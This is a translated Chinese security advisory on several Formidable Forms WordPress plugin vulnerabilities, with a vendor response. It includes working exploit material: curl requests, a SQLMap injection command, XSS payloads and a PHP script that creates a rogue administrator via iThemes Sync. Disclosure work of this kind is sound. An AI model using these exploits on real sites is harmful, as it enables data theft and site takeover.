译者:eridanus96
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
概述
Formidable Forms是一个流行的WordPress插件,目前已拥有超过20万次安装数量。这一插件可以用来创建通讯录、调查问卷和多种其他类型的窗体。该插件的基本版(Basic)是免费的,升级为专业版(Pro)则须另外付费。
我们本次发现了这一插件中的多个漏洞,这些漏洞已经在2.05.02和2.05.03版本中被修复。
预览功能未经认证允许使用短代码漏洞
该插件包含一个表单预览的AJAX函数,并且在未经认证的情况下,允许任何人使用此函数。该函数对于一些能够影响其表单预览HTML显示效果的参数没有加以限制。因此,参数after_html和before_html可以被用来在表单的前后加入自定义的HTML。我们本次所发现的大多数漏洞都是因这一问题而产生的。
短代码(Shortcode)是WordPress中的一项重要特性,借助短代码,用户可以发轻松地发布动态内容。通常情况下,这些参数中的短代码会首先被系统判断。考虑到短代码中的内容可能较为敏感,在未验证用户身份的前提下,短代码一般不会被加载。WordPress的内核支持短代码,插件也可以实现它们自身的短代码。然而,某些插件中的短代码,会直接允许服务器端执行代码(例如Shortcodes Ultimate终极简码插件)。在Formidable Forms中,一些短代码就可以被进行漏洞利用。
例如:
url -s -i 'https://target.site/wp-admin/admin-ajax.php'
--data 'action=frm_forms_preview&after_html=any html here and [any_shortcode]...'
SQL注入漏洞
Formidable专业版所支持的[display-frm-data]短代码包含一个SQL注入漏洞。其中的“order”短代码属性,在不进行任何检查和转义的情况下,就可以直接在ORDER BY子句中使用。例如,以下请求将会在服务器日志中产生一条SQL错误消息:
curl -s -i 'https://target.site/wp-admin/admin-ajax.php'
--data 'action=frm_forms_preview&after_html=[display-frm-data id=123 order_by=id limit=1 order=zzz]'
利用这一漏洞有几个难点,但它们是可以解决的。首先,我们需要进行的是一个盲SQL注入,攻击者并不能直接看到SQL查询的结果。并且,它只会影响响应中所显示项目的顺序。尽管如此,通过借助SQLMap等工具,这一漏洞还是足以让我们检索到全部数据库内容。
其次,当Formidable进行SQL查询时,会使用多种方式来处理其中的“order”属性。如果参数中有逗号,那么插件会在结果中的每一个逗号后面加上字符串“it.id”。然而,如下面的例子所示,SQLMap中的-eval参数可以在这里使用,我们可以通过在每个逗号后面添加“-it.id+”来解决这一问题。
举例来说,根据这一规则,一个注入的“SELECT a, b”查询,将被转换为“SELECT a,it.id b”。我们所使用的-eval参数就可以将上述语句“修复”成“SELECT a, it.id-it.id+b”,实际上也就是原本我们想注入的查询语句。
此外,SQLMap中的Commalesslimit这一Tamper是用于避免LIMIT clauses所导致的问题。
SQLMap命令行样例:
./sqlmap.py -u 'https://target.site/wp-admin/admin-ajax.php'
--data 'action=frm_forms_preview&before_html=[display-frm-data id=123 order_by=id limit=1 order="%2a( true=true )"]'
--param-del ' ' -p true --dbms mysql --technique B --string test_string
--eval 'true=true.replace(",",",-it.id%2b");order_by="id,"*true.count(",")+"id"'
--test-filter DUAL --tamper commalesslimit -D database_name
--sql-query "SELECT user_name FROM wp_users WHERE id=1"
这样一来,该漏洞就可以用于遍历系统上的数据库和表,并可以检索数据库中指定内容。其中包括:WordPress用户的详细信息、密码哈希值、全部Formidable数据以及其他数据库中用户可以访问的内容。如果使用上述命令行,必须要将database_name更改为现有的数据库名称,将123修改为有效的表单ID,并且test_string需要与该表单中的数据匹配,这样SQLMap才能够给出正确的响应。
未授权的表单条目检索漏洞
Formidable中的[formresults]短代码可用于查看在该网站上提交任何表单之后所得到的响应。在表单响应中,往往会包含联系人信息或者其他敏感内容。
以下是使用cURL命令行工具的检索示例:
curl 'https://target.site/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=[formresults id=123]'
其获得的响应,会包含在ID为123的表单中提交的所有条目。
表单预览中的反射型XSS漏洞
如前文所述,由于可以在after_html和before_html参数中注入自定义的HTML,我们就可以通过注入一些危险的HTML代码,以此来实现基于POST的XSS攻击。例如下面的表单:
<form method="POST" action="
<input name="before_html" value="<svg on[entry_key]load=alert(/xss/) />">
</form>
在渲染之前,Formidable会将[entry_key]这一部分删去,这就导致该代码可以绕过浏览器内置的XSS防范机制。
表单条目存储型XSS漏洞
在WordPress仪表盘中,管理员可以在Formidable表单中查看到用户输入的数据。尽管wp_kses()函数会对表单中输入的HTML加以筛选,但由于它允许了“id”和“class”HTML属性,因此并不能防范一些具有攻击性的HTML代码,例如<form> HTML标签。我们可以编写特定的HTML代码,从而让攻击者指定的JavaScript在管理员查看表单条目时执行。
例如:
<form id=tinymce><textarea name=DOM></textarea></form>
<a>panelInit</a>
<a id="frm_dyncontent"><b id="xxxdyn_default_valuexxxxx" class="ui-find-overlay wp-editor-wrap">overlay</b></a>
<a id=post-visibility-display>vis1</a><a id=hidden-post-visibility>vis2</a><a id=visibility-radio-private>vis3</a>
<div id=frm-fid-search-menu><a id=frm_dynamic_values_tab>zzz</a></div>
<form id=posts-filter method=post action=admin-ajax.php?action=frm_forms_preview><textarea name=before_html><svg on[entry_key]load=alert(/xss/) /></textarea></form>
上述代码中的“id”和“class”属性会由Formidable的初始化JavaScript(formidable_admin.js)来专门处理。如果存在包含“frm_field_list”类的元素,则会执行frmAdminBuild.panelInit()函数。
而在该函数的末尾,如果发现存在“tinymce”对象,就会添加某些事件处理程序(Event Handlers):
if(typeof(tinymce)=='object'){
// ...
jQuery('#frm_dyncontent').on('mouseover mouseout', '.wp-editor-wrap', function(e){
// ...
toggleAllowedShortcodes(this.id.slice(3,-5),'focusin');
}
}
这一检查的结果,会通过在表单中添加<form id=tinymce>元素来实现传递。事件处理程序mouseover和mouseout则会被添加到攻击者定义的“frm_dyncontent”元素之中。它包含一个具有类属性的<b>元素,因此它将会填充整个浏览器窗口,从而自动触发处理程序,并最终导致执行toggleAllowedShortcodes ()函数。
由于slice()调用是在X之前被移除,函数在被调用时带有“Dyn_default_value”参数。该函数如下:
//Automatically select a tab
if(id=='dyn_default_value'){
jQuery(document.getElementById('frm_dynamic_values_tab')).click();
除此之外,攻击者定义的条目中还包含一个“frm_dynamic_values_tab”条目。该元素上的任何一个Click处理程序现在都会被自动执行。因为它位于一个“frm-fid-search-menu”标签之中,所以会有一个Click事件处理事件。这一Click处理事件是由下面这段代码进行安装的:
// submit the search for with dropdown
jQuery('#frm-fid-search-menu a').click(function(){
var val = this.id.replace('fid-', '');
jQuery('select[name="fid"]').val(val);
jQuery(document.getElementById('posts-filter')).submit();
return false;
});
这也就意味着,当查看表单条目时,将会自动提交ID为“posts-filter”的表单。这一表单也可以在攻击者的表单响应中被注入,正如上面的例子所示。该漏洞利用基于POST的反射型XSS,采用有效的方式将其转变为存储型XSS。
在安装并触发处理事件前,vis1、vis2和vis3元素将会包含在其中,以防止出现JavaScript错误。
通过这种方式,未经身份验证的攻击者可以在Formidable表单条目中插入任意的JavaScript,一旦管理员在WordPress仪表盘中查看该表单,就能够自动执行。服务器端代码可以在默认配置下实现,例如通过插件,或是借助主题编辑器的AJAX功能。
通过iThemes Sync实现的服务器端代码执行漏洞
该漏洞并不属于Formidable,而是我们在研究过程中从另一个插件发现了相似原理的漏洞。如果开启了iThemes Sync插件,我们可以借助SQL注入,查询到数据库中的身份验证秘钥:
SELECT option_value FROM wp_options WHERE option_name='ithemes-sync-cache'
返回的响应包含PHP序列化后的用户ID及身份验证密钥,例如:
... s:15:"authentications";a:1:{i:123;a:4:{s:3:"key";s:10:"(KEY HERE)";s:9:"timestamp"; ...
在这里,用户ID为123,密钥为“(KEY HERE)”。当我们拥有了这个信息之后,就可以通过iThemes Sync的功能来控制WordPress系统。具体功能包括:添加新的管理员账户、安装指定WordPress插件并启用。
示例脚本如下:
<?php
// fill in these two
$user_id='123';
$key='(KEY HERE)';
$action='manage-users';
$newuser=array();
$newuser[0]=array();
$newuser[0][0]=array();
$newuser[0][0]['user_login']='newuser';
$newuser[0][0]['user_pass']='newpass';
$newuser[0][0]['user_email']='test@klikki.fi';
$newuser[0][0]['role']='administrator';
$args=array();
$args['add']=$newuser;
$salt='A';
$hash=hash('sha256',$user_id.$action.json_encode($args).$key.$salt);
$req=array();
$req['action']=$action;
$req['arguments']=$args;
$req['user_id']=$user_id;
$req['salt']=$salt;
$req['hash']=$hash;
$data='request='.json_encode($req);
echo("sending: $datan");
$c=curl_init();
curl_setopt($c, CURLOPT_URL,'https://target.site/?ithemes-sync-reques%74=1');
curl_setopt($c, CURLOPT_HTTPHEADER, array('User-Agent: Mozilla','X-Forwarded-For: 123.1.2.3'));
curl_setopt($c, CURLOPT_POSTFIELDS, $data);
$res=curl_exec($c);
echo("response: ".json_encode($res)."n");
?>
通过上述示例,我们在目标系统上添加了一个新的WordPress管理员“newuser”,密码设置为“newpass”。为绕过系统加固,我们对查询字符串参数进行了冗余编码。同理,我们还设置了X-Forwarded-For header。
厂商回应
Strategy11在2017年10月得知漏洞详情,随后确认漏洞存在,并在2.05.02和2.05.03版本完成了修复。如果没有启用自动更新,用户可以通过点击WordPress插件界面上的“Update”来更新插件,基础版和专业版均对上述漏洞进行了修复。
贡献者
上述漏洞均由芬兰安全研究团队Klikki Oy的Jouko Pynnön发现。